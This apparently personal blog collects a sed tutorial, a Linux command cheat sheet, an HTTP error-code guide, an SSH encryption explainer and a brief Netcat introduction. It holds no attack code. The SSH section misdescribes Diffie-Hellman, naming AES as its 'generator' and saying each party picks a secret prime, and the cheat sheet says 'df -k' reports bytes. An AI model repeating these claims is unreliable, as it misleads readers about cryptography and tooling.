Mahesh's Blog

" It's hard to beat a person who believes in his or her own strength. And I believe in mine."

Tuesday, March 03, 2015

Sed Command Examples

Sed is a Stream Editor used for modifying the files in unix (or linux). Whenever you want to make changes to the file automatically, sed comes in handy to do this. Most people never learn its power; they just simply use sed to replace text. You can do many things apart from replacing text with sed. Here I will describe the features of sed with examples.

Consider the below text file as an input.

>cat file.txt
unix is great os. unix is opensource. unix is free os.
learn operating system.
unixlinux which one you choose.


Sed Command Examples

1. Replacing or substituting string

Sed command is mostly used to replace the text in a file. The below simple sed command replaces the word "unix" with "linux" in the file.

>sed 's/unix/linux/' file.txt
linux is great os. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you choose.


Here the "s" specifies the substitution operation. The "/" are delimiters. The "unix" is the search pattern and the "linux" is the replacement string.

By default, the sed command replaces the first occurrence of the pattern in each line and it won't replace the second, third...occurrence in the line.

2. Replacing the nth occurrence of a pattern in a line.

Use the /1, /2 etc flags to replace the first, second occurrence of a pattern in a line. The below command replaces the second occurrence of the word "unix" with "linux" in a line.

>sed 's/unix/linux/2' file.txt
unix is great os. linux is opensource. unix is free os.
learn operating system.
unixlinux which one you choose.


3. Replacing all the occurrence of the pattern in a line.

The substitute flag /g (global replacement) specifies the sed command to replace all the occurrences of the string in the line.

>sed 's/unix/linux/g' file.txt
linux is great os. linux is opensource. linux is free os.
learn operating system.
linuxlinux which one you choose.


4. Replacing from nth occurrence to all occurrences in a line.

Use the combination of /1, /2 etc and /g to replace all the patterns from the nth occurrence of a pattern in a line. The following sed command replaces the third, fourth, fifth... "unix" word with "linux" word in a line.

>sed 's/unix/linux/3g' file.txt
unix is great os. unix is opensource. linux is free os.
learn operating system.
unixlinux which one you choose.


5. Changing the slash (/) delimiter

You can use any delimiter other than the slash. As an example if you want to change the web url to another url as

>sed 's/http:\/\//www/' file.txt

In this case the url consists the delimiter character which we used. In that case you have to escape the slash with backslash character, otherwise the substitution won't work.

Using too many backslashes makes the sed command look awkward. In this case we can change the delimiter to another character as shown in the below example.

>sed 's_http://_www_' file.txt
>sed 's|http://|www|' file.txt


6. Using & as the matched string

There might be cases where you want to search for the pattern and replace that pattern by adding some extra characters to it. In such cases & comes in handy. The & represents the matched string.

>sed 's/unix/{&}/' file.txt
{unix} is great os. unix is opensource. unix is free os.
learn operating system.
{unix}linux which one you choose.


>sed 's/unix/{&&}/' file.txt
{unixunix} is great os. unix is opensource. unix is free os.
learn operating system.
{unixunix}linux which one you choose.


7. Using \1,\2 and so on to \9

The first pair of parenthesis specified in the pattern represents the \1, the second represents the \2 and so on. The \1,\2 can be used in the replacement string to make changes to the source string. As an example, if you want to replace the word "unix" in a line with twice as the word like "unixunix" use the sed command as below.

>sed 's/\(unix\)/\1\1/' file.txt
unixunix is great os. unix is opensource. unix is free os.
learn operating system.
unixunixlinux which one you choose.


The parenthesis needs to be escaped with the backslash character. Another example is if you want to switch the words "unixlinux" as "linuxunix", the sed command is

>sed 's/\(unix\)\(linux\)/\2\1/' file.txt
unix is great os. unix is opensource. unix is free os.
learn operating system.
linuxunix which one you choose.


Another example is switching the first three characters in a line

>sed 's/^\(.\)\(.\)\(.\)/\3\2\1/' file.txt
inux is great os. unix is opensource. unix is free os.
aelrn operating system.
inuxlinux which one you choose.

8. Duplicating the replaced line with /p flag

The /p print flag prints the replaced line twice on the terminal. If a line does not have the search pattern and is not replaced, then the /p prints that line only once.

>sed 's/unix/linux/p' file.txt
linux is great os. unix is opensource. unix is free os.
linux is great os. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you choose.
linuxlinux which one you choose.


9. Printing only the replaced lines

Use the -n option along with the /p print flag to display only the replaced lines. Here the -n option suppresses the duplicate rows generated by the /p flag and prints the replaced lines only one time.

>sed -n 's/unix/linux/p' file.txt
linux is great os. unix is opensource. unix is free os.
linuxlinux which one you choose.


If you use -n alone without /p, then the sed does not print anything.

10. Running multiple sed commands.

You can run multiple sed commands by piping the output of one sed command as input to another sed command.

>sed 's/unix/linux/' file.txt| sed 's/os/system/'
linux is great system. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you chosysteme.


Sed provides -e option to run multiple sed commands in a single sed command. The above output can be achieved in a single sed command as shown below.

>sed -e 's/unix/linux/' -e 's/os/system/' file.txt
linux is great system. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you chosysteme.


11. Replacing string on a specific line number.

You can restrict the sed command to replace the string on a specific line number. An example is

>sed '3 s/unix/linux/' file.txt
unix is great os. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you choose.


The above sed command replaces the string only on the third line.

12. Replacing string on a range of lines.

You can specify a range of line numbers to the sed command for replacing a string.

>sed '1,3 s/unix/linux/' file.txt
linux is great os. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you choose.


Here the sed command replaces the lines with range from 1 to 3. Another example is

>sed '2,$ s/unix/linux/' file.txt
linux is great os. unix is opensource. unix is free os.
learn operating system.
linuxlinux which one you choose.


Here $ indicates the last line in the file. So the sed command replaces the text from second line to last line in the file.

13. Replace on a lines which matches a pattern.

You can specify a pattern to the sed command to match in a line. If the pattern match occurs, then only the sed command looks for the string to be replaced and if it finds, then the sed command replaces the string.

>sed '/linux/ s/unix/centos/' file.txt
unix is great os. unix is opensource. unix is free os.
learn operating system.
centoslinux which one you choose.


Here the sed command first looks for the lines which has the pattern "linux" and then replaces the word "unix" with "centos".

14. Deleting lines.

You can delete the lines a file by specifying the line number or a range or numbers.

>sed '2 d' file.txt
>sed '5,$ d' file.txt


15. Duplicating lines

You can make the sed command to print each line of a file two times.

>sed 'p' file.txt

16. Sed as grep command

You can make sed command to work as similar to grep command.

>grep 'unix' file.txt
>sed -n '/unix/ p' file.txt


Here the sed command looks for the pattern "unix" in each line of a file and prints those lines that has the pattern.

You can also make the sed command to work as grep -v, just by using the reversing the sed with NOT (!).

>grep -v 'unix' file.txt
>sed -n '/unix/ !p' file.txt


The ! here inverts the pattern match.

17. Add a line after a match.

The sed command can add a new line after a pattern match is found. The "a" command to sed tells it to add a new line after a match is found.

>sed '/unix/ a "Add a new line"' file.txt
unix is great os. unix is opensource. unix is free os.
"Add a new line"
learn operating system.
unixlinux which one you choose.
"Add a new line"


18. Add a line before a match

The sed command can add a new line before a pattern match is found. The "i" command to sed tells it to add a new line before a match is found.

>sed '/unix/ i "Add a new line"' file.txt
"Add a new line"
unix is great os. unix is opensource. unix is free os.
learn operating system.
"Add a new line"
unixlinux which one you choose.


19. Change a line

The sed command can be used to replace an entire line with a new line. The "c" command to sed tells it to change the line.

>sed '/unix/ c "Change line"' file.txt
"Change line"
learn operating system.
"Change line"


20. Transform like tr command

The sed command can be used to convert the lower case letters to upper case letters by using the transform "y" option.

>sed 'y/ul/UL/' file.txt
Unix is great os. Unix is opensoUrce. Unix is free os.
Learn operating system.
UnixLinUx which one yoU choose.


Here the sed command transforms the alphabets "ul" into their uppercase format "UL"

Wednesday, January 14, 2015

Useful LINUX commands


    grep command: Searches for given string in files
        grep -i "search_text" file_name
        grep -ilrn "search_text" *             (To search in all files)
        Attributes: i for ignore case, l for list names of files, r for searching recursively, n for line number where text is matched in the file
    find command: Finds files using file-name
        find -iname "MyTextFile.c"
        find -iname "MyTextFile.c" -exec md5sum {} \;    :Executes commands on files found by the find command
        find ~ -empty                     :Finds all  empty files in home directory
    pwd command: pwd is Present working directory. It prints the current directory.
    cd command: It is used to change the directory.
        Use “cd -” to toggle between the last two directories
        Use “shopt -s cdspell” to automatically correct mistype directory names on cd
    diff command: compares two files
        diff -w file1.txt file2.txt
    tar command examples:
        tar cvf archive_name.tar dirname/     :Creates a new tar archive
        tar xvf archive_name.tar   : Extracts from existing tar archive
        tar tvf archive_name.tar   : view an existing tar archive
    gzip command examples
        gzip file.txt : creates a *.gz compressed file
        gzip -d file.txt.gz  : Uncompress a *.gz file
        gzip -l *.gz  : Displays the compression ratio of the compressed file
    bzip2 command examples
        bzip2 file.txt  : creates a *.bz2 compressed file
        bzip2 -d file.txt.bz2  : uncompresses a *.bz2 file
    unzip command examples
        unzip test.zip   : Extracts the zipped file
        unzip -l test.zip  : views the content of zipped file without unzipping
    ssh commands: It is used to work remotely
        ssh -l kamal remotehost.com     : Login to remote gost
        ssh -l kamal 10.201.42.12
        ssh -v -l kamal remotehost.com   : Debug ssh client
        ssh -V : Display ssh client version
    ftp command examples
        ftp IP/hostname    : connects to a remote server
        ftp> mget *.html  : Download file from that server
        ftp> mls *.html -   : views the file names located on the remote server
    wget command :
        wget http://prdownloads.sourceforge.net/sourceforge/nagios/nagios-3.2.1.tar.gz : to download any file from internet
        wget -O taglist.zip http://www.vim.org/scripts/download_script.php?src_id=7701  :  Download and store it
    vim command examples
        vim +14 file.txt   : Go to the 14th line of file
        vim +/search_text file.txt  : goto the first match of the specified search text
        vim -R /etc/passwd  : Opent he file in the read only mode
    sort command examples
        sort nameList.txt :  Sorts a file in ascending order
        sort -r nameList.txt :  Sorts a file in descending order
        sort -t: -k 3n /etc/passwd | more :  Sorts passwd file by third field
    xargs command examples
        ls *.jpg | xargs -n1 -i cp {} /external-drive/directory    : Copy all images to external drive
        find / -name *.jpg -type f -print | xargs tar -cvzf allImages.tar.gz    : Search all jpg images in the system and archive it.
        cat url-list.txt | xargs wget –c  :  Downloads all the URLs mentioned in the url-list.txt file
    ls command examples
        ls -lh :  Displays filesize in KB / MB
        ls -ltr  :  Orders Files Based on Last Modified Time
        ls -F   : Visual Classification of Files
    sed command examples
        sed 's/.$//' filename  :Converts the DOS file format to Unix file format (removes \r or \n)
        sed -n '1!G;h;$p' file.txt   : Prints file content in reverse order
        sed '/./=' file.txt | sed 'N; s/\n/ /'  :  Adds line number for all non-empty-lines in the file
    awk command examples
        awk '!($0 in array) { array[$0]; print }' temp   : Removes duplicate lines
        awk -F ':' '$3==$4' passwd.txt   ;  Prints all lines from /etc/passwd that has the same uid and gid
        awk '{print $2,$5;}' file.txt   : Prints only specific field from a file.
    shutdown command examples
        shutdown -h now   : Shutdown the system and turn the power off immediately.
        shutdown -h +10   : Shutdown the system after 10 minutes.
        shutdown -r now    : Reboot the system
        shutdown -Fr now  : Force the filesystem check during reboot.
    crontab command examples
        crontab -u kamal -l  : View crontab entry for a specific user
    service command examples : Service commands are used to run the system V init scripts. i.e Instead of calling the scripts located in the /etc/init.d/ directory with their full path, we can use the service command.
        service ssh status  : checks the service status
        service --status-all : Check the status of all the services.
        service ssh restart :  Restart a service
    ps command :  It is used to display information about the processes running in the system.
        ps -ef | more  : view the current running processes
        ps -efH | more  :  To view current running processes in a tree structure. H means process hierarchy.
    free command: It is used to display the free, used, swap memory available in the system.
        free
        free -g :  If you want to quickly check how many GB of RAM your system has use the -g option. -b option displays in bytes, -k in kilo bytes, -m in mega bytes.
        free -t  : use this if you want to see a total memory ( including the swap)
    top command: It displays the top processes in the system, by default sorted by cpu usage. To sort top output by any column, press O (upper-case O) , which will display all the possible columns that you can sort by.
        top
        top -u oracle : To display only the processes that belong to a particular user use -u option. This command will show only the top processes that belongs to oracle user.
    df command:
        df -k  : displays the file system disk space usage. By default df -k displays output in bytes.
        df -h :  displays output in human readable form. i.e size will be displayed in GB’s.
        df -T : display type of file system.
    kill command: It is used to terminate a process. First get the process id using ps -ef command, then use kill -9 to kill the running LINUX process. You can also use killall, pkill, xkill to terminate a unix process.
        ps -ef | grep vim
        kill -9 7243
    rm command : Removes a file
        rm -i filename.txt  :  Get confirmation before removing the file.
        rm -i file*  :  Print the filename and get confirmation before removing the file.
        rm -r example  : It recursively removes all files and directories under the example directory. This also removes the example directory itself.
    cp command : Used for copying files from source to destination
        cp -p file1 file2 : Copy file1 to file2 preserving the mode, ownership and timestamp.
        cp -i file1 file2 : Copy file1 to file2. if file2 exists prompt for confirmation before overwritting it.
    mv command: used to rename a file / folder
        mv -i file1 file2 :  Rename file1 to file2. if file2 exists prompt for confirmation before overwritting it.
        mv -f file1 file2 : Rename file1 to file2. if file2 exists overwrite it without prompting for confirmation
        mv -v file1 file2 : It will print what is happening during file rename, verbose output
    cat command  : used to view the file
        cat file1
        cat file1 file2  : view multiple files at the same time. It prints the content of file1 followed by file2 to stdout.
        cat -n /etc/test.txt  :  It will prepend the line number to each line of the output while displaying the file.
    mount command
        To mount a file system, we should first create a directory and mount it:
            mkdir /newDir
            mount /dev/sdb1 /newDir
        We can also add this to the fstab for automatic mounting. i.e Anytime system is restarted, the filesystem will be mounted.
            /dev/sdb1 /newDir ext2 defaults 0 2
    chmod command: chmod command is used to change the permissions for a file or directory.
        chmod ug+rwx file.txt   ; Give full access (read, write and execute) to user and group on a specific file.
        chmod g-rwx file.txt     : Revoke all access (read, write and execute) for the group on a specific file.
        chmod -R ug+rwx file.txt   :   Apply the file permissions to all the files in the sub-directories.
    chown command: change the owner and group of a file
        chown oracle:dba dbora.sh  :  To change owner to oracle and group to db on a file. i.e Change both owner and group at the same time.
        chown -R oracle:dba /home/oracle   : change the owner recursively
    passwd command : used to change the password through command line
        passwd : User can change their password using this command. It will ask for current password.
        passwd USERNAME : Super user can use passwd command to reset others password. This will not prompt for current password of the user.
        passwd -d USERNAME  :  Remove password for a specific user. Root user can disable password for a specific user. Once the password is disabled, the user can login without entering the password.
    uname command: It displays important information about the system such as — Kernel name, Host name, Kernel release number, Processor type, etc.
        uname -a
    su command
        su - USERNAME  : Switch to a different user account using su command. Super user can switch to any other user without entering their password.
        su - raj -c 'ls' :  Execute a single command from a different account name. In the following example, john can execute the ls command as raj username. Once the command is executed, it will come back to john’s account.
        su -s 'SHELLNAME' USERNAME :  Login to a specified user account, and execute the specified shell instead of the default shell.
    mkdir command: to create directories
        mkdir ~/myDir  : creates a directory called myDir under home directory.
        mkdir -p dir1/dir2/dir3/dir4/   :  It creates nested directories using. If any of these directories exist already, it will not display any error. If any of these directories doesn’t exist, it will create them.
    ifconfig command: used to view or configure a network interface on the Linux system, same as ipconfig in windows.
        ifconfig -a  :  View all the interfaces along with status.
        Start or stop a specific interface using up and down command as below.
            ifconfig eth0 up
            ifconfig eth0 down
    ping command :
        ping google.com : Ping a remote host.
        ping -c 5 google.com  :  Ping a remote host by sending only 5 packets.
    whereis command
        whereis ls    :  When wewant to find out where a specific Unix command exists (for example, where does ls command exists?), we can execute this command.
        whereis -u -B /tmp -f lsmk   :   When you want to search an executable from a path other than the whereis default path, you can use -B option and give path as argument to it. This searches for the executable lsmk in the /tmp directory, and displays it, if it is available.
    whatis command : It displays a single line description about a command.
        whatis ls
        whatis ifconfig
    man command : Displays the man page (manual page) of a specific command
        man crontab
    locate command:  Using locate command we can quickly search for the location of a specific file (or group of files). Locate command uses the database created by updatedb.
        locate crontab
    tail command
        tail file.txt    :   Print the last 10 lines of a file by default.
        tail -n N file.txt   :   Print N number of lines from the file named file.txt
        tail -f log-file  :  View the content of the file in real time using tail -f. This is useful to view the log files, that keeps growing. The command can be terminated using CTRL-C
    less command: less is very efficient while viewing huge log files, as it doesn't need to load the full file while opening. After opening file through less, following command is very useful:
        CTRL+F – forward one window
        CTRL+B – backward one window
    fg command : This command resumes execution of a suspended process
    date command :
        date -s "01/13/2015 13:55:14"   :  Set the system date
        Once you’ve changed the system date, you should syncronize the hardware clock with the system date as shown below.
            hwclock –systohc
            hwclock --systohc –utc
    mysql command
        mysql -u root -p -h 192.160.10.2  : To connect to a remote mysql database. This will prompt for a password.
        mysql -u root -p  :  To connect to a local mysql database. If you want to specify the mysql root password in the command line itself, enter it immediately after -p (without any space).
    yum command
        yum install httpd : To install apache using yum.
        yum update httpd  :  To upgrade apache using yum.
        yum remove httpd :  To uninstall/remove apache using yum.
    rpm command
        rpm -ivh httpd-2.2.3-22.0.1.el5.i386.rpm   :  To install apache using rpm.
        rpm -uvh httpd-2.2.3-22.0.1.el5.i386.rpm  :  To upgrade apache using rpm.
        rpm -ev httpd  :  To uninstall/remove apache using rpm.

Saturday, November 22, 2014

Common HTTP Error Codes

Introduction

When accessing a web server or application, every HTTP request that is received by a server is responded to with an HTTP status code. HTTP status codes are three-digit codes, and are grouped into five different classes. The class of a status code can be quickly identified by its first digit:
  • 1xx: Informational
  • 2xx: Success
  • 3xx: Redirection
  • 4xx: Client Error
  • 5xx: Server Error
This guide focuses on identifying and troubleshooting the most commonly encountered HTTP error codes, i.e. 4xx and 5xx status codes, from a system administrator's perspective. There are many situations that could cause a web server to respond to a request with a particular error code--we will cover common potential causes and solutions.

Client and Server Error Overview

Client errors, or HTTP status codes from 400 to 499, are the result of HTTP requests sent by a user client (i.e. a web browser or other HTTP client). Even though these types of errors are client-related, it is often useful to know which error code a user is encountering to determine if the potential issue can be fixed by server configuration.
Server errors, or HTTP status codes from 500 to 599, are returned by a web server when it is aware that an error has occurred or is otherwise not able to process the request.

General Troubleshooting Tips

  • When using a web browser to test a web server, refresh the browser after making server changes
  • Check server logs for more details about how the server is handling the requests. For example, web servers such as Apache or Nginx produce two files called access.log and error.log that can be scanned for relevant information
  • Keep in mind that HTTP status code definitions are part of a standard that is implemented by the application that is serving requests. This means that the actual status code that is returned depends on how the server software handles a particular error--this guide should generally point you in the right direction
Now that you have a high-level understanding of HTTP status codes, we will look at the commonly encountered errors.

400 Bad Request

The 400 status code, or Bad Request error, means the HTTP request that was sent to the server has invalid syntax.
Here are a few examples of when a 400 Bad Request error might occur:
  • The user's cookie that is associated with the site is corrupt. Clearing the browser's cache and cookies could solve this issue
  • Malformed request due to a faulty browser
  • Malformed request due to human error when manually forming HTTP requests (e.g. using curl incorrectly)

401 Unauthorized

The 401 status code, or an Unauthorized error, means that the user trying to access the resource has not been authenticated or has not been authenticated correctly. This means that the user must provide credentials to be able to view the protected resource.
An example scenario where a 401 Unauthorized error would be returned is if a user tries to access a resource that is protected by HTTP authentication, as in this Nginx tutorial. In this case, the user will receive a 401 response code until they provide a valid username and password (one that exists in the .htpasswd file) to the web server.

403 Forbidden

The 403 status code, or a Forbidden error, means that the user made a valid request but the server is refusing to serve the request, due to a lack of permission to access the requested resource. If you are encountering a 403 error unexpectedly, there are a few typical causes that are explained here.

File Permissions

403 errors commonly occur when the user that is running the web server process does not have sufficient permissions to read the file that is being accessed.
To give an example of troubleshooting a 403 error, assume the following situation:
  • The user is trying to access the web server's index file, from http://example.com/index.html
  • The web server worker process is owned by the www-data user
  • On the server, the index file is located at /usr/share/nginx/html/index.html
If the user is getting a 403 Forbidden error, ensure that the www-data user has sufficient permissions to read the file. Typically, this means that the other permissions of the file should be set to read. There are several ways to ensure this, but the following command will work in this case:
sudo chmod o=r /usr/share/nginx/html/index.html

.htaccess

Another potential cause of 403 errors, often intentinally, is the use of an .htaccess file. The .htaccess file can be used to deny access of certain resources to specific IP addresses or ranges, for example.
If the user is unexpectedly getting a 403 Forbidden error, ensure that it is not being caused by your .htaccess settings.

Index File Does Not Exist

If the user is trying to access a directory that does not have a default index file, and directory listings are not enabled, the web server will return a 403 Forbidden error. For example, if the user is trying to access http://example.com/emptydir/, and there is no index file in the emptydir directory on the server, a 403 status will be returned.
If you want directory listings to be enabled, you may do so in your web server configuration.

404 Not Found

The 404 status code, or a Not Found error, means that the user is able to communicate with the server but it is unable to locate the requested file or resource.
404 errors can occur in a large variety of situations. If the user is unexpectedly receiving a 404 Not Found error, here are some questions to ask while troubleshooting:
  • Does the link that directed the user to your server resource have a typographical error in it?
  • Did the user type in the wrong URL?
  • Does the file exist in the correct location on the server? Was the resource was moved or deleted on the server?
  • Does the server configuration have the correct document root location?
  • Does the user that owns the web server worker process have privileges to traverse to the directory that the requested file is in? (Hint: directories require read and execute permissions to be accessed)
  • Is the resource being accessed a symbolic link? If so, ensure the web server is configured to follow symbolic links

500 Internal Server Error

The 500 status code, or Internal Server Error, means that server cannot process the request for an unknown reason. Sometimes this code will appear when more specific 5xx errors are more appropriate.
This most common cause for this error is server misconfiguration (e.g. a malformed .htaccess file) or missing packages (e.g. trying to execute a PHP file without PHP installed properly).

502 Bad Gateway

The 502 status code, or Bad Gateway error, means that the server is a gateway or proxy server, and it is not receiving a valid response from the backend servers that should actually fulfill the request.
If the server in question is a reverse proxy server, such as a load balancer, here are a few things to check:
  • The backend servers (where the HTTP requests are being forwarded to) are healthy
  • The reverse proxy is configured properly, with the proper backends specified
  • The network connection between the backend servers and reverse proxy server is healthy. If the servers can communicate on other ports, make sure that the firewall is allowing the traffic between them
  • If your web application is configured to listen on a socket, ensure that the socket exists in the correct location and that it has the proper permissions

503 Service Unavailable

The 503 status code, or Service Unavailable error, means that the server is overloaded or under maintenance. This error implies that the service should become available at some point.
If the server is not under maintenance, this can indicate that the server does not have enough CPU or memory resources to handle all of the incoming requests, or that the web server needs to be configured to allow more users, threads, or processes.

504 Gateway Timeout

The 504 status code, or Gateway Timeout error, means that the server is a gateway or proxy server, and it is not receiving a response from the backend servers within the allowed time period.
This typically occurs in the following situations:
  • The network connection between the servers is poor
  • The backend server that is fulfilling the request is too slow, due to poor performance
  • The gateway or proxy server's timeout duration is too short

SSH Encryption and Connection Process

Introduction

SSH, or secure shell, is a secure protocol and the most common way of safely administering remote servers. Using a number of encryption technologies, SSH provides a mechanism for establishing a cryptographically secured connection between two parties, authenticating each side to the other, and passing commands and output back and forth.

In this guide, we will be examining the underlying encryption techniques that SSH employs and the methods it uses to establish secure connections. This information can be useful for understanding the various layers of encryption and the different steps needed to form a connection and authenticate both parties.

Symmetric Encryption, Asymmetric Encryption, and Hashes

In order to secure the transmission of information, SSH employs a number of different types of data manipulation techniques at various points in the transaction. These include forms of symmetrical encryption, asymmetrical encryption, and hashing.

Symmetrical Encryption

The relationship of the components that encrypt and decrypt data determine whether an encryption scheme is symmetrical or asymmetrical.
Symmetrical encryption is a type of encryption where one key can be used to encrypt messages to the opposite party, and also to decrypt the messages received from the other participant. This means that anyone who holds the key can encrypt and decrypt messages to anyone else holding the key.
This type of encryption scheme is often called "shared secret" encryption, or "secret key" encryption. There is typically only a single key that is used for all operations, or a pair of keys where the relationship is easy to discover and it is trivial to derive the opposite key.
Symmetric keys are used by SSH in order to encrypt the entire connection. Contrary to what some users assume, public/private asymmetrical key pairs that can be created are only used for authentication, not the encrypting the connection. The symmetrical encryption allows even password authentication to be protected against snooping.
The client and server both contribute toward establishing this key, and the resulting secret is never known to outside parties. The secret key is created through a process known as a key exchange algorithm. This exchange results in the server and client both arriving at the same key independently by sharing certain pieces of public data and manipulating them with certain secret data. This process is explained in greater detail later on.
The symmetrical encryption key created by this procedure is session-based and constitutes the actual encryption for the data sent between server and client. Once this is established, the rest of the data must be encrypted with this shared secret. This is done prior to authenticating a client.
SSH can be configured to utilize a variety of different symmetrical cipher systems, including AES, Blowfish, 3DES, CAST128, and Arcfour. The server and client can both decide on a list of their supported ciphers, ordered by preference. The first option from the client's list that is available on the server is used as the cipher algorithm in both directions.
On Ubuntu 14.04, both the client and the server are defaulted like this: aes128-ctr, aes192-ctr, aes256-ctr, arcfour256, arcfour128, aes128-gcm@openssh.com, aes256-gcm@openssh.com, chacha20-poly1305@openssh.com, aes128-cbc, blowfish-cbc, cast128-cbc, aes192-cbc, aes256-cbc, arcfour.
This means that if two Ubuntu 14.04 machines are connecting to each other (without overriding the default ciphers through configuration options), they will always use the aes128-ctr cipher to encrypt their connection.

Asymmetrical Encryption

Asymmetrical encryption is different from symmetrical encryption in that to send data in a single direction, two associated keys are needed. One of these keys is known as the private key, while the other is called the public key.
The public key can be freely shared with any party. It is associated with its paired key, but the private key cannot be derived from the public key. The mathematical relationship between the public key and the private key allows the public key to encrypt messages that can only be decrypted by the private key. This is a one-way ability, meaning that the public key has no ability to decrypt the messages it writes, nor can it decrypt anything the private key may send it.
The private key should be kept entirely secret and should never be shared with another party. This is a key requirement for the public key paradigm to work. The private key is the only component capable of decrypting messages that were encrypted using the associated public key. By virtue of this fact, any entity capable decrypting these messages has demonstrated that they are in control of the private key.
SSH utilizes asymmetric encryption in a few different places. During the initial key exchange process used to set up the symmetrical encryption (used to encrypt the session), asymmetrical encryption is used. In this stage, both parties produce temporary key pairs and exchange the public key in order to produce the shared secret that will be used for symmetrical encryption.
The more well-discussed use of asymmetrical encryption with SSH comes from SSH key-based authentication. SSH key pairs can be used to authenticate a client to a server. The client creates a key pair and then uploads the public key to any remote server it wishes to access. This is placed in a file called authorized_keys within the ~/.ssh directory in the user account's home directory on the remote server.
After the symmetrical encryption is established to secure communications between the server and client, the client must authenticate to be allowed access. The server can use the public key in this file to encrypt a challenge message to the client. If the client can prove that it was able to decrypt this message, it has demonstrated that it owns the associated private key. The server then can set up the environment for the client.

Hashing

Another form of data manipulation that SSH takes advantage of is cryptographic hashing. Cryptographic hash functions are methods of creating a succinct "signature" or summary of a set of information. Their main distinguishing attributes are that they are never meant to be reversed, they are virtually impossible to influence predictably, and they are practically unique.
Using the same hashing function and message should produce the same hash; modifying any portion of the data should produce an entirely different hash. A user should not be able to produce the original message from a given hash, but they should be able to tell if a given message produced a given hash.
Given these properties, hashes are mainly used for data integrity purposes and to verify the authenticity of communication. The main use in SSH is with HMAC, or hash-based message authentication codes. These are used to ensure that the received message text is intact and unmodified.
As part of the symmetrical encryption negotiation outlined above, a message authentication code (MAC) algorithm is selected. The algorithm is chosen by working through the client's list of acceptable MAC choices. The first one out of this list that the server supports will be used.
Each message that is sent after the encryption is negotiated must contain a MAC so that the other party can verify the packet integrity. The MAC is calculated from the symmetrical shared secret, the packet sequence number of the message, and the actual message content.
The MAC itself is sent outside of the symmetrically encrypted area as the final part of the packet. Researchers generally recommend this method of encrypting the data first, and then calculating the MAC.

How Does SSH Work?

You probably already have a basic understanding of how SSH works. The SSH protocol employs a client-server model to authenticate two parties and encrypt the data between them.
The server component listens on a designated port for connections. It is responsible for negotiating the secure connection, authenticating the connecting party, and spawning the correct environment if the credentials are accepted.
The client is responsible for beginning the initial TCP handshake with the server, negotiating the secure connection, verifying that the server's identity matches previously recorded information, and providing credentials to authenticate.
An SSH session is established in two separate stages. The first is to agree upon and establish encryption to protect future communication. The second stage is to authenticate the user and discover whether access to the server should be granted.

Negotiating Encryption for the Session

When a TCP connection is made by a client, the server responds with the protocol versions it supports. If the client can match one of the acceptable protocol versions, the connection continues. The server also provides its public host key, which the client can use to check whether this was the intended host.
At this point, both parties negotiate a session key using a version of something called the Diffie-Hellman algorithm. This algorithm (and its variants) make it possible for each party to combine their own private data with public data from the other system to arrive at an identical secret session key.
The session key will be used to encrypt the entire session. The public and private key pairs used for this part of the procedure are completely separate from the SSH keys used to authenticate a client to the server.
The basis of this procedure for classic Diffie-Hellman is:
  1. Both parties agree on a large prime number, which will serve as a seed value.
  2. Both parties agree on an encryption generator (typically AES), which will be used to manipulate the values in a predefined way.
  3. Independently, each party comes up with another prime number which is kept secret from the other party. This number is used as the private key for this interaction (different than the private SSH key used for authentication).
  4. The generated private key, the encryption generator, and the shared prime number are used to generate a public key that is derived from the private key, but which can be shared with the other party.
  5. Both participants then exchange their generated public keys.
  6. The receiving entity uses their own private key, the other party's public key, and the original shared prime number to compute a shared secret key. Although this is independently computed by each party, using opposite private and public keys, it will result in the same shared secret key.
  7. The shared secret is then used to encrypt all communication that follows.
The shared secret encryption that is used for the rest of the connection is called binary packet protocol. The above process allows each party to equally participate in generating the shared secret, which does not allow one end to control the secret. It also accomplishes the task of generating an identical shared secret without ever having to send that information over insecure channels.
The generated secret is a symmetric key, meaning that the same key used to encrypt a message can be used to decrypt it on the other side. The purpose of this is to wrap all further communication in an encrypted tunnel that cannot be deciphered by outsiders.
After the session encryption is established, the user authentication stage begins.

Authenticating the User's Access to the Server

The next stage involves authenticating the user and deciding access. There are a few different methods that can be used for authentication, based on what the server accepts.
The simplest is probably password authentication, in which the server simply prompts the client for the password of the account they are attempting to login with. The password is sent through the negotiated encryption, so it is secure from outside parties.
Even though the password will be encrypted, this method is not generally recommended due to the limitations on the complexity of the password. Automated scripts can break passwords of normal lengths very easily compared to other authentication methods.
The most popular and recommended alternative is the use of SSH key pairs. SSH key pairs are asymmetric keys, meaning that the two associated keys serve different functions.
The public key is used to encrypt data that can only be decrypted with the private key. The public key can be freely shared, because, although it can encrypt for the private key, there is no method of deriving the private key from the public key.
Authentication using SSH key pairs begins after the symmetric encryption has been established as described in the last section. The procedure happens like this:
  1. The client begins by sending an ID for the key pair it would like to authenticate with to the server.
  2. The server check's the authorized_keys file of the account that the client is attempting to log into for the key ID.
  3. If a public key with matching ID is found in the file, the server generates a random number and uses the public key to encrypt the number.
  4. The server sends the client this encrypted message.
  5. If the client actually has the associated private key, it will be able to decrypt the message using that key, revealing the original number.
  6. The client combines the decrypted number with the shared session key that is being used to encrypt the communication, and calculates the MD5 hash of this value.
  7. The client then sends this MD5 hash back to the server as an answer to the encrypted number message.
  8. The server uses the same shared session key and the original number that it sent to the client to calculate the MD5 value on its own. It compares its own calculation to the one that the client sent back. If these two values match, it proves that the client was in possession of the private key and the client is authenticated.
As you can see, the asymmetry of the keys allows the server to encrypt messages to the client using the public key. The client can then prove that it holds the private key by decrypting the message correctly. The two types of encryption that are used (symmetric shared secret, and asymmetric public-private keys) are each able to leverage their specific strengths in this model.

Netcat : Introduction

Netcat is a terminal application that is similar to the telnet program but has lot more features. Its a “power version” of the traditional telnet program. Apart from basic telnet functionas it can do various other things like creating socket servers to listen for incoming connections on ports, transfer files from the terminal etc. So it is a small tool that is packed with lots of features. Therefore its called the “Swiss-army knife for TCP/IP”.
In the Netcat manual, it is defined as:
Netcat is a computer networking service for reading from and writing network connections using TCP or UDP. Netcat is designed to be a dependable “back-end” device that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of correlation you would need and has a number of built-in capabilities.
